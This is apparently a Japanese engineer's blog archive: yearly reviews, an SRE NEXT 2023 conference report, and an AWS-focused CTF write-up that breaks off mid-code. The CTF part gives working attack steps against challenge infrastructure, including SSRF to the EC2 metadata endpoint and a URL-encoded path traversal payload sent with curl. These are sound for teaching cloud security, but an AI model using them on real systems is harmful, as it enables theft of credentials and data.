2025年振り返り
仕事
こちらの記事の通り3月で前職のCloudbaseを退職し、5月からフリーランスとして知り合いづてにいくつか仕事をさせてもらっていました。
10月からはSakana AIにフルタイムとして入社しました。
SakanaAIに入社しました
— ryunosuke (@_ryukez) 2025年10月1日
プロダクトチームを社内で立ち上げ、案件横断的にPlatform Engineering的な取り組みをしたり、より直接的にプロダクト化に向けた活動をしています。
優秀で気の合うメンバーに囲まれて仕事ができる環境をとても気に入っています。最近はEnglish Speakerのメンバーが入ってきてくれたのでチームのコミュニケーションも英語になり、日々英語が練習できるのも嬉しいポイントです。
まだ世にお披露目できるものが少なく歯痒いですが、来年には色々出していけるのではないかと思うので楽しみです。
住居
1月に流山に引っ越しました。南流山駅が最寄り駅なのですが、いい感じです。 気に入っているポイント:
- 道が広い
- 高い建物がなくて空が広い
- 田んぼ、川や里山など自然が多い
- 公園も多く、子供がいつも遊んでいて街に賑わいがある
- 図書館など公共サービスの質が高い
趣味
家の近くにジムがあったのがきっかけでボルダリングを始めました。土日に週一で行ったり、ボルダリング友達とちょくちょく行ったりもします。 難しめの5級が登れるかどうかってところでまだまだ初心者です。体の硬さが致命的なので柔軟をやっていきたい(弱い決意)
書籍など
友人の紹介でコテンラジオから歴史にハマり、これまで手をつけてこなかった人文系の書籍を色々読み漁っていました。逆に振り返ると技術書は全く読んでないですね...
流山の図書館の本揃えが素晴らしく、最近の本(一番新しい例だと、ハラリのNEXUSとか)でも結構置いてあるので最近はほとんど自分で本を買わずに済んで助かっています。
雑に今年読んだ本のリストを貼っておきます。
- ホモ・デウス
- 哲学と宗教全史
- 動的平衡
- 文明の衝突
- 世界史の構造的理解
- ブルシット・ジョブ
- 現代経済学の直観的方法
- 世界秩序の変化に対処するための原則 なぜ国家は興亡するのか
- 万物の黎明
- WEIRD「現代人」の奇妙な心理
- シンギュラリティはより近く
- 経済数学の直観的方法
- NEXUS情報の人類史
- PLURALITY
- 一九八四
- すばらしい新世界
- スタンフォード大学で一番人気の経済学入門
- 心の社会
結婚
11月に5年ほど付き合っていた彼女と入籍しました。直接お会いした人にはお伝えしたつもりなのですが、SNS引退気味なので伝えられていなかった方にはごめんなさい。温かいお祝いを頂いた皆さんありがとうございます。
特に生活に変わりはないですが、流山で二人楽しく穏やかな生活を送っています。
公私ともに心機一転、フレッシュな気持ちで頑張っていきます。2026年もよろしくお願いします。
28歳になりました
28 歳になりました。
毎年頭の片隅にありながら書けていなかった近況報告。最近は時間の余裕ができたおかげなのか文章を書くことへの抵抗が減ってきたので、その勢いでと思い書いてみることにしました。
Cloudbase を退職しました
10 人目のメンバーとして入社した Cloudbase を退職しました。
退職にあたっては色んな葛藤がありましたが、一番大きかったのは世の中の変化です。
AI 技術が人類史をも変えようとしている中で、インターネット誕生のインパクトを超える様々なチャンス、あるいは危機が生まれています。世の中にとって良い形でこの技術が使われていくにはどうすればいいのか。技術者としてそれに向き合い、微力でも貢献できるような仕事がしたいという気持ちが日に日に大きくなり、入社して 2 年という節目も相まって、今回の決断に至りました。
複雑な思いを抱えながらも笑顔で送り出してくれたメンバーに恥じないよう、これから一層頑張りたいと思います。
次の仕事
次の会社は決まっておらず、しばらくはフリーランスで働こうと思っていますが、直近はいくつか決まっているものがあります。
1 つには、ご縁があって Sakana AI という会社で 5 月から Software Engineer の業務委託として働くことになりました。AI の最前線で活躍するメンバーと一緒に働ける機会を頂きとてもワクワクしています。
他には、こちらも不思議なご縁なのですが、元オリンピック陸上選手の為末大さんの運用されているメディアのお手伝いをしています。コンテンツの加工・変換がより流動的になっていく AI 時代において、マルチメディアの効率的な運用や為末さんのコンテンツを活用したチャットボットなど新しいメディア体験の設計を一緒に考えさせてもらっています。
読書の話
最近、読書が趣味になっています。大学時代はほとんど読んでいなかったのですが、Cloudbase の頃にインプットのためにちょくちょく読み始め、新しい知識をインストールしていく感覚が楽しくて気づいたら習慣になっていました。
読書を始めてから図書館という公共施設の偉大さに気づかされました。今住んでいる市の図書サービスではオンラインで予約して市内の図書館から本を取り寄せてもらえる上、2023 年など比較的新しい本でも在庫があって驚かされます(2025 年 3 月発刊のハラリ「NEXUS 情報の人類史」までありました)。このサービスが無料で使えるありがたみを感じながら使い倒しています。
去年は技術書や組織論を多く読んでいましたが最近はもっぱら歴史の本にハマっています。理系至上主義で文系科目に見向きもしなかった自分が 28 歳で歴史にハマっていると聞いたらひっくり返るだろうなぁと思います。
「サピエンス全史」「世界の終わりの地政学」「世界史の構造的理解」あたりを読んで目から鱗が落ちました。これはコテンラジオの深井さんの受け売りですが、歴史を学ぶことの醍醐味は「相対化」だと思います。歴史のスケールの視点を身につけると、いかに自分が時間軸の中での 1 点でしかない局所的な世界で生きているか、当たり前と思っているものの大部分が当たり前でないかに気付かされます。
世界を見つめるための新しい視点を得られるのが歴史や読書の好きなところです。
考えていること
現代社会の限界と未来について、そしてその中で AI が社会をどう変えていくのか、どう変えていくべきなのかについて最近ずっと考えています。
現代社会は急速な経済発展に伴う反動を抱えており、少子高齢化、地方の過疎化、そして環境問題は深刻な問題でありながら人類はその解決の糸口を見出せていません。
X (Twitter) の退廃に象徴されるように、現在の資本主義市場では短期的・即時的な欲望ばかりが優先され、社会はどんどん長期的な理想を追い求める力を失っているように思います。
これらはそれぞれが独立した事象ではなく、根本には「社会の縮退」という軸があり、既存の社会資本を破壊することで金銭的利益に変換しているのだとする長沼先生の「世界史の構造的理解」には感銘を受け、自分の考え方に深く影響を与えています。
今後、AI 技術によって経済活動のあらゆる面が効率化・自動化されていくでしょう。しかし、今の社会をそのまま延長し、短期的利益の追求ばかりを加速させていくことには、破壊的な結末を予感しないわけにはいきません。
知能という能力がお金で買えるようになった社会では、貧富の格差はさらに拡大していくでしょう。国々の競争はより激しさを増し、加速度的なものになっていくでしょう。
社会構造の変化は一度動き始めてしまえばその方向性を変えることは難しくなります。今が今後数十年・数百年の社会、はたまた地球の命運を決めてしまうかもしれません。
個人にできることには限りがありますが、少なくとも 1 技術者として何をすべきか、考えることはやめずにいたいと思っています。
おわりに
20 代も残りわずか、社会も変わろうとする中で、自分の能力で勝負ができる最後の数年になるかもしれません。悔いの残らないように過ごしたいです。
普段お世話になっている皆様、変わらぬお付き合いをお願いします。
2023年振り返り
はじめに
Factorioで貴重な年末を溶かしています。エンジニアのryukeと申します。 Twitterのみなさんの振り返り記事に触発され、初めての試みではありますが2023年の振り返りを書いてみたいと思います。
転職
2023年1月づけで前職のメルカリを退職し、CloudbaseというスタートアップにJOINしました。1月頭から働き始めたので、今日が終わればちょうど丸一年ということになります。
記事の中にも書いていますが、転職理由は決してネガティブなものではありません。メルカリの業務の中でCI/CDまわりのセキュリティに触れさせてもらう中でクラウドセキュリティという領域の面白さ・可能性を知り、技術で勝負できるこの分野でサービスを1から作り上げるということに挑戦してみたいと思ったのが最終的な決め手でした。メルカリに在籍していたのは9ヶ月と短い間でしたが今に繋がっているたくさんの学びがあり、本当に感謝しています。
Cloudbaseでは今年1年も目まぐるしい変化がありました。僕がJOINした時から人数は2倍以上に増え、リファラルの同世代が多かった環境からメンバーの多様性も広がり組織としての厚みが出てきていると感じます。オフィスも来月に70人規模のワンフロアに移転することになり、いよいよ会社らしくなってきました。
一瞬だけ宣伝:オフィスの移転に伴い、2024/01/19(金)に記念パーティを開催することになりました!ご興味ある方はぜひ気軽にご連絡ください!!
サービスの伸びも好調で、利用量が増えるに従って徐々にシステムの課題が浮き彫りになりつつあります。エンジニアとしては考えることが尽きない毎日で本当に楽しいです。
加速する成長の中で、急拡大する組織・サービスに耐えながらいかに品質とスピードを保ち続けることができるか。来年は会社にとっても自分にとっても大きな勝負・挑戦の1年になりそうです。
コミュニティ
今年は新しい挑戦として技術コミュニティのイベントへの積極的な参加にチャレンジしました。SRE・DevOps・Platformの分野を中心に活動していました。
イベントLT
10/20 はじめまして!若手エンジニアふんわりLT Night!
10/25 Datadog Japan Meetup 2023 Fall
11/21 技術的負債に向き合う Online Conference
ブログ
Platform Engineering Advent Calendar 2023
元々人前で喋るのも記事を書いて何かを発信するのも得意ではないのですが、荒療治的に数をこなすことで徐々に苦手意識を克服できるようになってきている気がします。何より、新参者でも快く迎え入れてくれるコミュニティのみなさんの暖かさ、コミュニティに参加することの楽しさを知れたのが今年一番の収穫でした。
振り返ると今年はLTばかりだったので、来年はCFPを通して15分以上のトークをする、というのを目標にします。SRE NEXTとか狙っていきたいです。
また、繋がりを増やすためにもイベント運営にも飛び込んでみたいです。自社オフィスでも開催できるといいなあ〜〜
読書
外部発信を増やしていく中で、改めて自分の中での体系的な知識の不足に気付かされ、読書の時間を意識的に確保してインプットを増やしました。
2023年に読んだ本の一覧です↓*1
DevOps / SRE / Architect
技術系その他
マネジメント・リーダーシップ
- 1分で話せ 世界のトップが絶賛した大事なことだけシンプルに伝える技術
- 人を動かす
- HIGH OUTPUT MANAGEMENT
- Empowered
組織
- Measure What Matters 伝説のベンチャー投資家がGoogleに教えた成功手法 OKR
- GitLabに学ぶ 世界最先端のリモート組織のつくりかた
- Leading Quality
- 成長する組織
思考法
- Issueから始めよ
- 外資系コンサルの知的生産術
- 最強の教養 不確実性超入門
- 確率思考 不確かな未来から利益を生みだす
- 世界はシステムで動く - 今起きていることの本質を掴む考え方
読書もこれまであまり習慣化できていなかったのですが、本で得た知識を業務で実践するサイクルを回す中で、「新しい視点を身につけるとこんなにものの見え方が変わるのか」と、知識の力に改めて感動し、今ではすっかり活字中毒になってしまいました。これも今年一年の大きな変化だなーと思います。今後も業務を学習の場として色んな知識を実践していきたいです。
スタートアップなので今後の組織のあり方について考えることが多く、組織やマネジメントの本が多くなりました。特にTeam Topologiesは今更ながら読みましたが、改めて「システム設計と組織設計を切り離して考えることはできない」というアイデアは目から鱗で、自分のエンジニアリング観を形成する柱の1つになりました。
とはいえエンジニアなので、より技術に踏み込んだ本も増やしていかないとなーと思っています。特にSRE周り。SLO本、Google SRE本、データ指向アプリケーションデザインは来年の必読書とします。
LLM
趣味兼研究開発としてLLMの技術に触れ続けることを目標にしていましたが、業務とインプットで手を動かす時間を取れずで終わってしまいました。時代に置いていかれる恐怖と戦う毎日です。
エージェント、特に生活をアシストしてくれるパーソナルアシスタントに興味があり、こんなものを作ったりしていましたが、まだ実用できるクオリティには至っていません。やはり応答速度と実効精度(特に、日本語の入力が絡むもの)が難しいですね...
スピードが早すぎて、来年が終わる頃に世界がどうなっているのかは全く分かりませんが、せめて最新のトレンドは把握できているよう必死に食らいついていこうと思います。
おまけ
岐阜の日本一高いバンジージャンプ(215m)を飛びました。怖すぎて本当に絶望しましたが終わってみれば楽しかった気がするのが不思議です。
人間、やるしかないという覚悟さえあれば何とかなるんだなというのが学びでした。ありきたりですが、何事もあれこれ悩む前に飛び込んでみるのが一番ですね。

来年の目標
こんな感じでやっていこうと思います。
- 意識
- 多角的な視点を持つ
- 人を巻き込んで大事を為す
- 学習のループを繋げる
- コミュニティ
- CFPを通し、15分以上のトークを1本以上行う
- コミュニティのイベント運営に1件以上参加する
- オフィスで技術イベントを3回以上開催する
- 読書
- 年間30冊以上、うち技術書10冊以上
- SLO本、Google SRE本、データ指向アプリケーションデザイン
- LLM
- 継続的な業務へのLLM導入事例を作る
- パーソナルアシスタントを日常生活で実運用する
最後にご挨拶
本年も大変多くの方にお世話になりました。来年も変わらぬお付き合いをどうぞよろしくお願い申し上げます。
ryuke
*1:Notionではじめるライフハックのススメで紹介したNotion DBを活用して簡単にリストアップできました。便利
SRE NEXT 2023 参加記
SREに関する国内最大級カンファレンスであるSRE NEXTに参加してきました!
SRE NEXT とは
SRE NEXTとは
信頼性に関するプラクティスに深い関心を持つエンジニアのためのカンファレンスです。 同じくコミュニティベースのSRE勉強会である「SRE Lounge」のメンバーが中心となり運営・開催されます。 SRE NEXT 2023は「Interactivity」「Diversity」「Empathy」という3つの価値観を掲げ、「双方向性のある意見交換の場にすること」「スタートアップから大企業まで、幅広い業種・領域・フェーズでのSRE Practice の実践を集約すること」「ビジネスサイド含めSRE以外の職責も含めて裾野を広げること」を意識して運営していき、より多様なSREの実践が普及することを目指します。
今回はハイブリッド形式、オフラインの会場は九段会館テラスで開催されました。自分は初めて行ったのですが建物が国会議事堂から突如生えてきたオフィスビルみたいでなんかすごかったです。(小学生)

印象に残ったトーク
印象に残ったトークをいくつか紹介していきます。
勘に頼らず原因を⾒つけるためのオブザーバビリティ
by SanSan株式会社 じょーし (@paper2parasol) さん
- 定義
- オブザーバビリティを支えるPrimary Signals
- メトリクス:システムのハイレベルな概要を示すが、必ずしも根本原因を明らかにするわけではない
- ログ:根本原因を特定する情報が含まれる可能性が高いが、情報量が多く絞り込みが必要
- トレース:特定のリクエストがシステムを通過する流れを可視化し、関連するログを絞り込む
- 理想的なデバッグ:ドリルダウン探索
- 原因が潜む範囲を狭めつつ、全体から細部へドリルダウンを繰り返しながら的確に原因を特定していく
- 勘と経験に頼った探索の問題点である「複合要因の見逃し」と「思い込みによる調査の難航」を防止
- Bill Oneでは、APM製品(サービスマップ・トレーシング)の導入により問題の特定能力を向上


オブザーバビリティの体系的な定義から始まり、理想な形のシステム調査を示した上で実際の取り組むを紹介するというプレゼン全体の流れがとてもまとまっていて分かりやすかったです。これまでログとメトリクスしか意識できていなかったのですがトレースの重要性を改めて認識することができました。
SREを以てセキュリティエンジニアリングを制す ― class Dev"Sec"Opsの実装に向けて
by 株式会社Flatt Security 米内 貴志 (@lmt_swallow) さん
- ReliabilityとSecurityは多くの点で類似点がある
- システムのライフサイクルに必要不可欠であり、設計段階での考慮が必要
- 問題が起きないとコストをかけにくく、問題が起きて初めて深刻になる
- SREのプラクティスをセキュリティにも活用できないか?
- よくあるセキュリティスコアをSLI (Security Level Indicator) に置く問題点
- 範囲が不明瞭・不十分だとアクションに繋がらない
- 重大さがわからないと使いにくい(この値がどうだったら問題あり、と言えるのか)
- 割合を計算する指標は、特定のリスクの発生をぼかしてしまう
- 守りたいものと脅威を元に、何を計測するか決める
- リスクをレベル分けして、レベル帯ごとにアプローチを変える
- Critical
- 侵害を起こしうるリスク・最重要な管理権限の保護不足
- エラーバジェット = 0、全て即時に対応する
- High / Medium
- アタックサーフェースを作っている、侵害経路は不明確だが侵害時の影響が大きい
- エラーバジェットでアジリティとのバランスを取りつつ管理していく
- Low / Info
- 影響は軽微・意図した設定
- 教育等に活用
- Critical
ReliabilityとSecurityの類推から始まりSREのアプローチを転用できないかという着眼点の面白さや、思考実験によって指標に求められる要件を整理して落とし所を探っていくアプローチの上手さがさすがだなと思いました。近年クラウドの普及に伴ってシフトレフトやゼロタッチプロダクションなどがますます注目を集めていることを踏まえると、今後もセキュリティを絡めたSREの話題は増えていきそうですね。
Yahoo!ショッピング商品管理システムにおける、問い合わせ駆動の信頼性向上の取り組み
by ヤフー株式会社 吉冨 優太 (@tomi_bonobo) さん
- 不具合の疑いがある問い合わせでも、未解決のまま返答するケースがあった
- ヘルプデスク -> システム企画 -> 問い合わせエンジニア という体制
- 開発エンジニアが不具合疑いの問い合わせを把握していなかった
- 問い合わせエンジニアが調査に時間を取られ、開発者に連携していなかった
- 問題に逐次対応しながら、問い合わせ対応のプロセスを改善していく
- 問い合わせエンジニアと開発エンジニアの連携の不足 -> 各役割が取るべき問い合わせ内容を決めて振り分けルールを作成
- 問い合わせ経路・内容がバラバラで、解決までにかかる日数がまちまち -> 経路をSREで集約して全問い合わせの状況を誰でも確認可能に
- エンジニアからヘルプデスクへの追加情報の確認作業がしばしば発生 -> 問い合わせチケットのフォーマットを統一
- エンジニアの調査の内容がシステム企画の認識とずれていてやり直しが発生 -> 個別の問い合わせ以外で定期的に会話する場の整備
- 問い合わせ駆動の信頼性向上
- 問い合わせ業務フローの整備によってSRE/開発がお客様の声をチケットとして蓄積
- 問い合わせチケットの蓄積/分析によって、お客様の声を反映した優先度で不具合を修正・信頼性を向上していけるようになった
問い合わせ対応という一見遠そうに見える業務の改善にSREがコミットしてプロダクトの信頼性を向上していくという取り組みが素敵だなと感じました。またその改善策は一つ一つの問題に向き合った地道なものではありつつも、目的と手法、検証までがセットになったデータドリブンなアプローチに基づいていて着実に成果を生んでいるところが印象的でした。取り上げられていた問題もどれも身近なものですぐに業務に活かせるヒントも多かったです。
会場の様子
会場内にはスポンサーブースや参加者アンケートなどセッションの他にも楽しめる展示が充実していました。





感想
今回初めて参加しましたが、 充実したセッションでSREにまつわる幅広いトピックに触れることができて大変楽しめました。また知識不足なところも改めて明らかにできたのでとても勉強のモチベーションになりました。とりあえずSRE本読まないとですね...
残念ながらチケットの購入が遅く懇親会に参加できなかったのが心残りですが、来年ぜひリベンジしたいと思います。
トーク資料について
多くのスピーカーの方が資料をアップロードしてくださっているので、復習&見れなかったトークのキャッチアップにぜひ活用しましょう!
SRE Next 2023 資料一覧 by @tessy さん
Security-JAWS #30 CTF に参加しました
イベントについて
Security-JAWSは、AWS+Securityをコンセプトに立ち上げられた勉強会で、3ヶ月に1回のペースで定期的にイベントが開催されています。 今回は節目の30回目ということで8/26-27の2日間開催となっており、Day1はカンファレンスデイ、Day2はCTFデイという形で行われました。
自分は1日目はリモート、2日目はオフラインで参加しました。
競技形式
競技時間は5時間で、与えられた問題をひたすら解いて一番多くポイントを稼いだ人が勝ちというシンプルなルールです。
普段のCTFだとPwnやCryptoといったように必要な知識や技術ごとにカテゴリ分けされているらしいですが、今回はAWS向けのCTFということで難易度ごとに問題が分かれていました。
- Trivia: 10pt * 13問
- Warmup: 50pt * 6問
- Easy: 100pt * 4問
- Medium: 200pt * 5問
- Hard: 300pt * 2問
Triviaのみクイズ形式で問題の解答を入力する形式、他は与えられたAWSのクレデンシャルやログイン情報、Webページなどを起点に隠されたフラグ SJWAS{****} を見つけるものとなっていました。
結果
Trivia 13問、Warmup 6問、Easy 3問、Medium 1問の計930ptで全体では9位でした。
1000pt行きたかったなぁと思いつつ、表彰対象のトップ3の方は1380pt以上だったので次元が違いました。。。
解いた問題
基本に忠実に、とりあえず簡単な方から埋めていくことにしました。
()は競技時間内のどの時間帯で解いたかを表しています。
Trivia
(0:00〜0:10)
調べたら答えが出てくるようにはなっていましたが、調べ方を工夫しないと答えに辿り着けないものも多くて面白かったです。
- Security-JAWS#01の開催年月日はいつでしょうか?
例えば1問目のこの問題だと、単に「Security-JAWS #01 開催日」と調べるだけでは全然該当のものがヒットせず苦戦しました。最終的には今回のイベントにも使われていたDoorKeeperのページでSecurity-JAWSのホームに行き、過去のイベント履歴の一番はじめに行くことで答えを見つけることができました。

こんな感じでひたすら埋めていき、パッと調べてわからなかった2問を飛ばしてWarmupに移りました。(残りの2問は後で気分転換ついでに埋めました)
Warmup
入門編という位置付けでしたが、普通に苦戦しました笑
AWS CLI practice
(0:10〜0:12)
与えられたAWSクレデンシャルが紐づくAWSアカウントIDを特定する問題。
自身のIAMエンティティを取得する get-caller-identity というAWS CLIのコマンドがあるのは知っていたので、試してみると目的のアカウントIDが取得できて無事クリア。
$ aws sts get-caller-identity
{
"UserId": "AI****",
"Account": "******",
"Arn": "arn:aws:iam::******:user/ctf_challenge_0"
}
Show IAM policy
(0:12〜0:20)
このユーザーにアタッチされているポリシーを確認してみよう!Policyドキュメントを注意深くみたらFLAGが隠れているかも。
他にもいくつか問題はありましたがパッとわからずこの問題へ。
AWS CLI practiceと同様AWSクレデンシャルが与えられているのでとりあえずget-caller-identityしてみるもそれ以上の情報はわからず。
問題文にポリシーを調べてみようと書かれているので、IAMユーザーに付与されたポリシーをチェックしてみます。AWSではユーザーへのポリシー付与として
- ユーザーに紐づく管理ポリシー (list-attached-user-policies)
- ユーザーのインラインポリシー (list-user-policies, get-user-policy)
- ユーザーの属するグループに紐づく管理ポリシー (list-attached-group-policies)
- ユーザーの属するグループのインラインポリシー (list-group-policies, get-group-policy)
の4パターンがあるので、これらのコマンドとlist-groups-for-user, get-policyとかのコマンドを組み合わせながら付与されたポリシーを探していきます。
(参考) smallit.co.jp
{ "Version": "2012-10-17", "Statement": { "Sid": "U0pBV1N7RG9feW91LWZpbmRfdGhlX0B0dGFjaGVkX3AwbDFjeT99", "Effect": "Allow", "Action": [ "iam:Get*", "iam:List*" ], "Resource": [ "arn:aws:iam::******:group/ctf5", "arn:aws:iam::******:user/ctf_challenge_5" ] } }
最終的にこんな感じのポリシーを見つけることができました。SidがなんとなくBase64文字列っぽい(エスパー)のでBase64デコードしてみると SJAWS{Do_you-find_the_@ttached_p0l1cy?} という文字列が出てきてフラグ発見!
フラグ文字列が出てきた時の脳汁が気持ち良すぎます。
Where is the password?
(0:20〜0:22)
AWSのとあるサービスからパスワードを取得してください!ヒント:AWSで安全にパスワード管理をしたい時に利用するサービスと言えば?
AWSコンソールへのログイン情報が与えられます。
問題文からKMSを見に行けば良さそうなので、素直に見に行ってみるとシークレットが存在して中身をみるとフラグが。これはサクッと解けました。
Find data 1
(0:22〜0:50)
FLAGはバケツに突っ込んであるので探してね!
上と同様コンソールへのログイン情報が与えられます。
S3のバケットに入っていそうなのでS3のページを見に行くものの、全てのバケットでinsufficient permissionと表示されていてどうすればいいかわからず詰まりました。色々悩んだ末に一つ一つのバケットをクリックしてみると himitsuno-bucket1 だけオブジェクトが表示されてその中に普通にフラグが。バケットの権限はないけどオブジェクトACLでオブジェクトへのアクセスは許可されているみたいな感じなんですかね。(S3の権限回り難しすぎる...)
Find data 2
(0:50〜0:55)
FLAGはバケツに突っ込んであるので探してね!
Find data 1 と全く同じ問題文ですが、今度はコンソールのログイン情報ではなくクレデンシャルが与えられます。
ポリシーまわりは権限不足で見えなかったため、S3コマンドを叩いてみるとバケット一覧が取得できました。どれかのバケットには権限がついているだろうと読んで全てのバケットに対して aws s3 sync を実行。すると himitsuno-bucket2 に対してオブジェクトが取得できました。(ここはFind data 1からの類推でバケット特定できた部分)
ダウンロードされたオブジェクトは1000枚の画像で、パッとみる限り次のような画像しかありません。

ということは1枚だけ当たりの画像があるだろうと読んで、ファイルサイズが違うやつを探しにいきます。
シェル芸力が足りなかったため目grepを実行して次の画像を発見。めでたしめでたし。

Run Function
(1:25〜1:35)
アクセスキーを調べてFLAGを入手せよ!
Warmupの中で一番苦戦した問題です。Easyの問題をいくつか解いた後に戻ってきて解きました。
問題文的にLambdaかな?と思いつつ、関数がわからないので手詰まり。冷静になってShow IAM policyと同様にユーザーの権限を調べてみると、 run_me というLambda関数に対するInvoke権限がついていることがわかりました。
aws lambda invokeで実行してみると、 "Look at the log!" というレスポンスが返ってきます。ログの取得方法を調べて実行してみると無事ログにフラグが出てきてクリアすることができました。
Easy
Easyになるとどれもぱっと見で何をすればいいのかわからず、歯応えのある問題が揃っていました。競技時間の大半はここに費やしました。
Find data 3
(0:55〜1:10)
FLAGはバケツに突っ込んであるので探してね!
Find dataの待望の続編です。
過去2つの類推からさすがに今回は himitsuno-bucket3 だろうと踏んで中身を見に行くと、次のような文字列が。
It was pointed out that placing sensitive data on S3 is not recommended, so I removed it.`
パッとバージョニング関連かな?とエスパーすることができたので list-object-versions と get-object --version-id $VERSION を使って消される前のバージョンのオブジェクトを取得することでフラグを入手することができました。
Get Provision
(1:10〜1:25)
EC2 上で動く Web アプリケーションからインスタンスのプロビジョニングのデータを入手せよ! http://gpweb.scjdaysctf2023.net/
問題文のサイトにアクセスしてみるとこんな感じになっていました。

かろうじてCapitalOneの事例は知っていたので、「URL入力 → SSRF → EC2インスタンスメタデータ」という連想でEC2インスタンスメタデータの奪取を試みます。
試しに https://169.254.169.254/latest/instance-id を入れてみるとOutputのところにレスポンスっぽいものが表示されています。あとはこの辺 を見ながら片っ端からメタデータを表示してみます。
インスタンスメタデータとして危ないものといえばIAMまわりということで最初はその辺りを重点的に見ていたのですが、見つからず最終的に user-data を見に行くことでフラグを見つけることができました。 user-data はインスタンスの起動時に実行されるスクリプトで、このようにメタデータサーバーから取得できてしまうので機密情報を入れる場合は注意する必要があります。
u nix Path?
(1:35〜3:40)
ここまできてどの問題も手詰まりになってしまい、2時間以上点数が上がらない闇の時間帯に突入してしまいました。
そんな中で何とか突破口を見つけることができたのがこの問題です。
あなたは、PathとObject Keyの区別がつきますか? private/flagに格納されている情報を取得してください。
以上のような問題文とともに、添付されているURLを開いてみると次のような画面でいくつかファイルがダウンロードできるようになっています。

README.mdをダウンロードしてみると、「AWS S3のPrefix / KeyとUnixのパスは微妙に仕様が違うよ」といったことが書かれています。どうやらS3では ../ のような文字列をパスに含めることでディレクトリトラバーサル的な攻撃ができてしまうようです。DOCS.mdにはREADMEの内容を補足する参考資料のURLがいくつか記載されています。
そして最後に、index.tsをダウンロードしてみると以下のようなコードが。
const response = (statusCode: number, body: string): APIGatewayProxyResult => { return { statusCode, headers: RESPONSE_HEADERS, body, }; }; export const handler = async ( event: APIGatewayProxyEvent, ): Promise<APIGatewayProxyResult> => { const { fileId } = event.pathParameters as { fileId: string }; const decodetFileId = decodeURIComponent(fileId); const key = path.normalize(`public/${decodetFileId}`); const command = new GetObjectCommand({ Bucket: process.env.BUCKET_NAME as string, Key: key, }); const url = await getSignedUrl(s3, command, { expiresIn: 60 }); return response(200, JSON.stringify({ url })); };
先ほどの資料や問題文を合わせると、どうやらこのAPIの fileId にいい感じの文字列を入れて key=private/flag にすることができれば、フラグを入手することができそうだとわかります。実際に手元で同じようなコードを動かして試してみると、 ../private/flag をURLエンコードした %2e%2e%2fprivate%2fflag という文字列をfileIdに設定すると、keyが private/flag になってくれることがわかりました。
ではこのAPIはどこで動いているのでしょうか?ここがわからなくて時間を溶かしてしまいましたが、与えられたWebサイトを開発者ツールで開いてネットワークを監視してみると、どうやら先ほどからダウンロードしていたファイル自体が上のAPIを叩くことで取得されていることがわかりました。試しにネットワークに登場したエンドポイントを curl 'https://***.execute-api.ap-northeast-1.amazonaws.com/v1/api/file/README.md' --compressed のようにcurlから叩いてみると、S3の署名つきダウンロードURLっぽいものが返ってきます。
{"url":"https://s3misssignurl-***-bucket.s3.ap-northeast-1.amazonaws.com/public/README.md?X-Amz-Algorithm=AWS4-HMAC-SHA256..."}
ここまで来ればゴールも目前です。これまでの考察を組み合わせて curl 'https://***.execute-api.ap-northeast-1.amazonaws.com/v1/api/file/%2e%2e%2fprivate%2fflag' --compressed を実行すると、目的のキーのオブジェクトの署名URLを取得することができ、ダウンロードすることでフラグを入手することができました。
各所に散らばるヒントを1つ1つ組み合わせながら答えに辿り着く感じがパズルみたいでとても楽しい問題でした。ダウンロードされるファイル自体がそのシステムの説明になっているという自己言及的な要素もお気に入りです。
Recon the website
こちらは最後まで解けませんでしたが、あと一歩のところまで行っていたので考えたことを書きます。
Webサイトを調査してFLAGを入手せよ! http://website.scjdaysctf2023.net/
Webサイトを調査して、と書いてあるのでWebサイトを見てみると、こんな感じの何の変哲もないサイトが表示されています。

サイトのソースコードを調べて何か特定の動作をするとバグを起こせる、とかかなと思ってコードを読んでいましたがそういうわけでもなさそうです。
ReconとのことなのでWhoisとかで調べるとAWS所有のドメインとなっており、AWSの何かしらのサービスでホストされてそうなことがわかります。ソースコードも読んでみると <!-- This website uses some AWS services. --> と書いてありました。
静的WebサイトのホストならS3だろうということで、 http://website.scjdaysctf2023.net/hogehoge という感じで後ろに適当な文字列をつけてアクセスしてみるとS3っぽいXMLで403と言われ、ほぼS3で確定しました。どうやらS3のバケットが意図せず公開されているのでその中のオブジェクトを見に行けば良いということがわかりました。
(この辺はnslookupを使えば簡単にわかったみたいです)
あとは http://s3-ap-northeast-1.amazonaws.com/website.scjdaysctf2023.net を見に行けばXMLでバケット内のファイルの一覧を取得できたのですが、「S3バケットをホストする際にバケット名をドメイン名と一致させる必要がある」という仕様を知らず、バケット名を特定するところで途方に暮れてしまいました。こちらの記事 とかを読んで s3recon というパブリックのS3をクローリングしてくるツールをバックグラウンドで競技中ずっと動かしていたのですが、結局見つからないまま競技時間が終わってしまいました。。。無念。
Medium
どれも初心者にはかなり難度の高い問題でしたが、かろうじて1問だけ正答することができました!
Lam Attack
(3:40〜4:40)
皆さんは、社内のログ通知を行う際にLambdaなどを使ったことがあると思います。 ある日、そのようなシステムを管理する社内のGitリポジトリで開発者用のIAMの認証情報が転がっていたのを見かけたあなたは、上長の許可をとって、そのIAMが漏洩してしまった際の脅威を認識してもらうために、侵入テストを行うことになりました。 皆さんの奪取目標はコミュニケーションツールへAlertを通知するためのLambdaに設定されたSecretです。この情報を奪取して、社内に危険度を知らしめてください。 あらかじめ取得している情報:Log集約Endpoint(社内向けサービス)、リクエストの方式、Lambda 関数の名前、認証情報
$ curl https://***.lambda-url.ap-northeast-1.on.aws/ \
-XPOST \
-d '{"errorCode":10,"errorMessage": "NG"}' \
-H "Content-Type: application/json"
開発者向けの認証情報がCI/CDやレポジトリ経由で流出したという想定で攻撃を試みる、という設定の問題です。 他の問題に比べて一番与えられている情報が多く、とっつきやすそうだったのでこの問題を選んでチャレンジしました。
LambdaのGetFunctionが権限として与えられているということで、GetFunctionを使うとLambdaのソースコード(の署名つきURL)を取得できるということは知っていたので、そこから着手しました。
コードのzipをダウンロードして展開すると、 index.js とともに index.js.map というファイルが入っています。中を覗いてみると、index.jsのコンパイル前のtypescriptと思しきコード片と、環境情報を表すJSONが入っていました。
export const handler = async ( event: APIGatewayProxyEventV2 ): Promise<APIGatewayProxyResultV2> => { if (!event.body) { return { headers: { "Content-Type": "application/json" }, statusCode: 400, body: JSON.stringify({ message: "Bad Request" }), }; } const { errorCode, errorMessage, callbackPath } = JSON.parse( event.body || '{ "errorCode": 0,"errorMessage": "Ok", "callbackPath": ""}' ); if (errorCode !== 0) { const input: InvokeCommandInput = { FunctionName: LamAttackApplicationStack.SendAlertFunctionName, InvocationType: "Event", Payload: JSON.stringify({ errorCode: errorCode, errorMessage: errorMessage, callbackPath: callbackPath || "/", }), }; await client.send(new InvokeCommand(input)); return { headers: { "Content-Type": "application/json" }, statusCode: 